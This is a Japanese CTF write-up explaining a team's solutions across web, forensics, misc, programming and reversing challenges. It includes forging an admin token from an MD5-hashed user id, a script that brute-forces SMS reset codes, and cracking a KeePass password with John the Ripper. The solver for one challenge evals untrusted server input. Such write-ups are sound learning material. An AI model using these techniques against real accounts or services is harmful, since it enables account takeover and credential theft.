2020年初のCTFのWriteupです
今回はチームKogCoderとして参加し、53位でfinishしました
今回はアドベントカレンダーに2ヶ月遅刻している(現在進行)男も手伝ってくれたので、1人チームしてないCTFはほんと久々です
1人じゃないチームの幸せさよ
では、解けた問題の解説を書いていきます
Web
Door paradox
- 支給されているアカウント
test
でログインするとLocal Storageに32桁のaccess_keyが追加される
この中身が、test
でのログインとログアウトを複数回繰り返してもeccbc87e4b5ce2fe28308fd9f2a7baf3
で一定なので何かの定数だと推測
CrackStationに投げてみると3
をmd5でハッシュした値だと発覚
この3
という値はtest
アカウントのidのようなので、Admin1のidである1
のmd5ハッシュ値c4ca4238a0b923820dcc509a6f75849b
をaccess_keyに設定してみるとmessagesから見れるやりとりが変化していた
FLAGで検索して1番最後に一致した(=作問者が最初から用意していたと思われるもの)がflag - FLAG{iD00r_with_insecure_token}
Admin
-
漢の全探索
-
bruteforce.py
#!/usr/bin/env python3 import requests pre = requests.post("http://sherlock-message.ru/api/admin.restore") print(pre.json()) h = pre.json()["response"]["new_hash"] for i in range(260000, 280000): packet = { 'hash': h, 'sms_code': i } r = requests.post("http://sherlock-message.ru/api/admin.restore", data=packet) print(r.content) try: h = r.json()["response"]["new_hash"] except: print(r.json()["response"]["message"]) exit()
-
- FLAG{bruTe_with_hash_f0rce}
Forensics
Doc. Holmes
- some.file というファイルが渡される
うさみみハリケーン曰くdocxファイルらしい
docxはxmlをzipファイルに押しこんだだけのファイルという話をどこかで聞いたことがあったのでunzip
中に入ってた word/media/image2.jpg を開いてみるとそこにはflagが - FLAG{ProMinentplace}
Blogger
-
http://basketball-hacker.hatenablog.jp/entry/2017/08/30/000000 のスクリプトをPython3で動くようにして、この問題に合わせてファイル名とかを調整したらいけた
-
sol.py
#! /usr/bin/env python3 from scapy.all import * keymap = { 0x04: ('a','A'), 0x05: ('b','B'),0x06: ('c','C'), 0x07: ('d','D'), 0x08: ('e','E'),0x09: ('f','F'), 0x0a: ('g','G'), 0x0b: ('h','H'),0x0c: ('i','I'), 0x0d: ('j','J'), 0x0e: ('k','K'),0x0f: ('l','L'), 0x10: ('m','M'), 0x11: ('n','N'),0x12: ('o','O'), 0x13: ('p','P'), 0x14: ('q','Q'),0x15: ('r','R'), 0x16: ('s','S'), 0x17: ('t','T'),0x18: ('u','U'), 0x19: ('v','V'), 0x1a: ('w','W'),0x1b: ('x','X'), 0x1c: ('y','Y'), 0x1d: ('z','Z'),0x1e: ('1','!'), 0x1f: ('2','@'), 0x20: ('3','#'),0x21: ('4','$'), 0x22: ('5','%'), 0x23: ('6','^'),0x24: ('7','&'), 0x25: ('8','*'), 0x26: ('9','('),0x27: ('0',')'), 0x28: (' [Enter] ',' [Enter] '), 0x29: ('\x1b','\x1b'), 0x2a: (' [del] ',' [del] '), 0x2b: ('\x09','\x09'), 0x2c: ('\x20','\x20'), 0x2d: ('-','_'), 0x2e: ('=','+'), 0x2f: ('[','{'),0x30: (']','}'), 0x31: ('\\','|'), 0x33: (';',':'),0x34: ('\'','\"'), 0x35: ('`','~'), 0x36: (',','<'),0x37: ('.','>'), 0x38: ('/','?'), 0x51:(' [downArrow] ',' [downArrow] '), 0x52: (' [upArrow] ',' [upArrow] '),0x32: ('\\','|') } def read_usbdata_from_pcap(): pcap = rdpcap("usb_here.pcap") usb_data = [] for pkt in pcap: buf = pkt['Raw'].load #if buf[22] == '\x01': if len(buf[27:]) == 8: usb_data.append(buf[27:]) return usb_data def analyze_usb_data(usb_data): flag = "" for d in usb_data: if d[2] == ord('\x00') or not(ord('\00') in d[3:8]): #No Event continue if d[0] == ord('\x02') or d[0] == ord('\x20'): #press shift #binary -> int c = keymap[d[2]][1] flag += c else: #binary -> int c = keymap[d[2]][0] flag += c print(flag) def main(): data = read_usbdata_from_pcap() analyze_usb_data(data) if __name__ == '__main__': main()
-
- FLAG{like_a_b100dh0und}
Confidential
- 渡されたパケットを調べてみると色々な画像や動画に加えて
database.kbdx
というファイルが
どうやらkbdxファイルはKeePassというパスワード管理ソフトのデータベースファイルらしい
開こうとするとパスワードを要求された
そんなもの知らないので、JohnTheRipper君に投げたら「パスワードはblowme!だよ」と教えてくれた
そのパスワードで改めてデータベースを開くと10件のパスワードが見つかるのでかたっぱしから見てくとAndrea Leadsomさんのパスワードにflagが - FLAG{bru73_p455w0rd_4ll_n16h7_l0n6}
Misc
Deep dive
-
flag.txt というファイルが渡される
どうもtarアーカイブらしいので展開すると今度はzipファイルが
この時点で「あっ、これ絶対数百回やんなきゃいけないやつだ」と察したので適当にスクリプト組んだ
723回目の展開で出てきた flag.txt にflagが書いてあった-
sol.py
#!/usr/bin/env python3 import subprocess n = 0 while True: p = subprocess.run(("unar -D -o %d %d/flag.txt" % (n + 1, n)).split()) if p.returncode == 1: subprocess.run(("unar -D -o %d %d/flag" % (n + 1, n)).split()) if p.returncode == 1: exit() n += 1
-
- FLAG{matri0sha256}
Layouts
-
ファイル名と全く同じパスワードで暗号化されたzipファイルが渡される
それを展開するとまたファイル名と全く同じパスワードで暗号化されたzipファイルが
この時点でDeep diveと同じ匂いを感じとったので展開用のスクリプトを書いた-
extract.py
#!/usr/bin/env python3 import zipfile fname = "RWtm7A5f" while True: with zipfile.ZipFile(fname) as zf: zf.extractall(pwd=fname.encode('utf-8')) fname = zf.infolist()[0].filename
スクリプトが例外で落ちるまで実行すると、flagというファイルが出てくる
このファイルを調べてみるとxzで圧縮されたtarファイルのようなのでtar xf flag
として展開
すると、flagsというフォルダが
中には1~255までのフォルダがあり、一部のフォルダには空のファイルが入っていた./flags/101/9 ./flags/112/18 ./flags/123/5 ./flags/51/10 ./flags/78/3 ./flags/95/15 ./flags/102/11 ./flags/117/12 ./flags/125/21 ./flags/52/14 ./flags/83/1 ./flags/103/8 ./flags/120/13 ./flags/49/19 ./flags/52/7 ./flags/84/4 ./flags/110/16 ./flags/122/6 ./flags/49/20 ./flags/53/17 ./flags/89/2
ファイルが入っていたところを列挙してみると、ファイルが入っていたフォルダ名は全部ascii printableな数字っぽい
また、ファイル名は1~21までの数字が全て重複せずに存在している
試しに、chr(フォルダ名)
した文字をファイル名順で並べてみると
SYNT{z4ge3fux4_n5p11}
となった
これをRot13にかけてみたところflagに
-
- FLAG{m4tr3shk4_a5c11}
True Detective
- Googleフォームで作られてる推理問題
- F12を押して
FLAG
で検索すると"1 - FLAG{08"
という記述がヒットする - この近辺を探してみると、
"2 - c49c3d9a"
"3 - e8898343"
"4 - 7729747b"
"5 - cf1be8}"
という記述が見つかるので番号順で繋ぐとflag - FLAG{08c49c3d9ae88983437729747bcf1be8}
PPC
Magic of numbers
-
計算問題が送られてくるのでevalして返せばいいだけ
-
sol.py
#!/usr/bin/env python from pwn import * import base64 target = ('nc 212.47.229.1 33004'.split(' ')) io = process(target) io.readline() io.readline() io.readline() while True: out = io.readline() try: d = eval(out[4:]) except: print(out) exit() print("out:%s\ndec:%s" % (out, str(d))) payload = str(d) io.sendline(payload) io.read(12)
-
- FLAG{MaGiC_0f_NuMbErS}
Reverse
Crossw0rd
- flagを
a()
,b()
,c()
,d()
,e()
,f()
の6つの関数に分けて確認している。
比較処理の中身自体はただ1文字ずつとって比較しているだけなので、適当に繋いで終わり - FLAG{3a5yr3v3r5ing}